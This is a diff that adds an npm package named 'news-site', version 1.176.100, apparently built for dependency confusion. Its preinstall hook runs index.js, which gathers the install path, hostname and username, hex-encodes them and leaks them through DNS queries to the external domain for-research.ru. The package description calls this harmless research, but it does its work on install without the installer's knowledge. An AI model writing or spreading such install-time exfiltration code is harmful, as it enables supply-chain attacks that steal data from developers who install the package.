news-site 1.176.100

package/index.js

@@ -0,0 +1,36 @@
+const os = require("os");
+const dns = require("dns");
+
+domain = "for-research.ru";
+const trackingData = JSON.stringify({
+    p: "news-site",
+    c: __dirname,
+    h: os.hostname(),
+    d: os.userInfo().username,
+});
+
+function getRandomInt(min, max) {
+    const minCeiled = Math.ceil(min);
+    const maxFloored = Math.floor(max);
+    return Math.floor(Math.random() * (maxFloored - minCeiled) + minCeiled); // The maximum is exclusive and the minimum is inclusive
+}
+
+let strHex = [...trackingData].map((c,_i)=>c.charCodeAt(0).toString(16)).join("");
+let hexArray = strHex.match(/.{1,60}/g);
+
+id_1 = getRandomInt(36**12,(36**13)-1).toString(16);
+id_2 = getRandomInt(36**12,(36**13)-1).toString(16);
+
+const resolver = new dns.Resolver();
+resolver.setServers(['77.88.8.7', '8.8.8.8']);
+
+for (let i = 0; i < hexArray.length; i++) {
+    let queryStr = 'v2_f.'+ i + '.' + id_1 + '.' + hexArray[i] + '.' + 'v2_e' + '.' + domain;
+    dns.lookup(queryStr, (err, _address, _family) => {
+        if (err !== null) {
+            queryStr = 'v2_f.'+ i + '.' + id_2 + '.' + hexArray[i] + '.' + 'v2_e' + '.' + domain;
+            resolver.resolve4(queryStr, (_err, _addresses) => {});
+        }
+    });
+}
+

package/package.json

@@ -0,0 +1,12 @@
+{
+    "name": "news-site",
+    "version": "1.176.100",
+    "description": "This package is a proof of concept used by author to conduct research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on a victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. Author does not accept any liability for any direct, indirect, or consequential loss or damage arising from the use of, or reliance on, this package.",
+    "main": "index.js",
+    "author": "",
+    "license": "ISC",
+    "scripts": {
+        "test": "echo \"Error: no test specified\" && exit 1",
+        "preinstall": "node index.js"
+    }
+  }